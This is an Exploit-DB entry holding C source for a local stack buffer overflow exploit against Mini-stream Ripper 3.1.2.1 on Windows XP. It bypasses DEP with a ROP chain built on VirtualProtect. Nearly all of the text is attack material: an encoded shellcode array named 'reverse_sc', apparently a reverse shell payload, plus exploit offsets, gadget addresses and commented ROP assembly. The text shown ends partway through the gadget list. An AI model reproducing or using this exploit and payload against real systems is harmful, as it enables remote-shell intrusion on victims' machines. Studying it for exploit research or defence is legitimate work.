Exploit-DB #14576
Description: Mini-stream Ripper 3.1.2.1 - Local Buffer Overflow (DEP Bypass)
Type: local
Platform: windows
Date: 2010-08-07
Author: fl0 fl0w

Exploit:
/*
   DISCLAIMER
    
   THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!!
   The programs are provided as is without any guarantees or warranty.
   The author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs.
   The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs.
    
   Author:                fl0 fl0w
   Software:              Mini-stream Ripper 
   Dl link:               http://www.mini-stream.net/downloads/Mini-streamRipper.exe
   Test platform:	      Microsoft Windows xp sp3 with full updates 
   Afected Versions:      3.1.2.1.2010.03.30
   Remote:                No
   Local:                 Yes
   Class:                 Boundary Condition Error
   Bug:                   Stack buffer overflow
   Exploitable:           Yes 
   Method of exploitation:Ret to libc  
   Afected software:      Windows 98/Me/2000/XP  
   Fix:                   No fix   
   Compiler:              gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) 
   Video:                 http://www.youtube.com/watch?v=Prf-YCVrSfc    
   The .C code:
 */
 
 
#include<stdio.h>

#define HEAD  "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A"
#define URL   "\x68\x74\x74\x70\x3A\x2F\x2F"
#define CHARS "[PII_REDACTED]ABCDEFGHIJKLMNOPQRST" \
              "UVWXYZabcdefghijklmnopqrstuvwxyz"
#define VIDEO "\t-www.youtube.com/watch?v=Prf-YCVrSfc"						 
#define VER   "3.1.2.1.2010.03.30"			  
#define TITLE "  Mini-stream Ripper "VER" local buffer overflow(DEP bypass)\n" \
              "\t-by fl0 fl0w\n "VIDEO" " 
	unsigned char reverse_sc[] =
	         {
                    "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
                    "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
                    "\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
                    "\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
                    "\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
                    "\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
                    "\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
                    "\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
                    "\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
                    "\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
                    "\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
                    "\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
                    "\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
                    "\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
                    "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
                    "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
                    "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
                    "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
                    "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
                    "\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"
             } ;
    /* rop assembly
     _start:
	 
     grab_stack_pointer:
          retn
	 
	 save_stack_pointer:
          push esp        	 
	      mov eax,edx
          pop edi
          retn			 
          pop eax
          retn
          add esp,2c
          retn		  
     
     push_VirtualProtect:
          mov edi,edi
          push ebp
          mov ebp,esp
          push dword ptr ss:[ebp+14]
          push dword ptr ss:[ebp+10]
          push dword ptr ss:[ebp+c]
          push dword ptr ss:[ebp+8]
          push -1
          call kernel32.VirtualProtectEx
          pop ebp
          retn 10
		
     lpAddress:
          xchg esi,edi
		  dec ecx
          retn 4
          add eax,100
          pop ebp
          retn 		  
		  mov dword ptr ds:[esi+10],eax
		  mov eax,esi
		  pop esi
          retn
     
	 dwSize:     
	      push eax
		  pop esi
		  retn
		  add eax,100
		  pop ebp
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  mov dword ptr ds:[esi+10],eax
		  mov eax,esi
		  pop esi
          retn
		  
	 flNewProtect:
          push eax
		  pop esi
		  retn
		  xor eax,eax
          retn
          add eax,100
          pop ebp
          retn
   		  add eax,100
          pop ebp
          retn
		  add eax,100
          pop ebp
          retn
		  inc esi
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  mov dword ptr ds:[esi+10],eax
		  mov eax,esi
		  pop esi
          retn
	  	
	  lpflOldProtect:
          push eax
		  pop esi
		  retn
          xor eax,eax
          retn
          add eax,40
          retn
		  inc esi
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  inc esi
		  retn
		  mov dword ptr ds:[esi+10],eax
		  mov eax,esi
		  pop esi
          retn
          sub eax,4
	      retn
 		  sub eax,4
	      retn
		  push eax
		  pop esp
		  mov eax,edi
		  pop edi
		  pop esi
		  retn 
  */			 
  int eip_offset=17417;
  int nop_offset=17453;
  int shell_offset=17473;
 
  char RET[]="\x5e\x16\x80\x7c"; 
  char instr1[]="\x77\x92\xd7\x5a"; 
  char instr2[]="\x42\xe8\xc1\x77"; 
  char instr3[]="\x01\xd8\xc4\x77"; 
  char instr4[]="\x2b\xec\xc4\x77"; 
  char instr5[]="\x2f\x98\x3c\x76"; 
  char instr6[]="\x15\x41\xe8\x77"; 
  char instr7[]="\x4a\x14\x5d\x77"; 
  char instr8[]="\x1d\x7d\x15\x77"; 
  char instr9[]="\x9e\x66\xd7\x5a";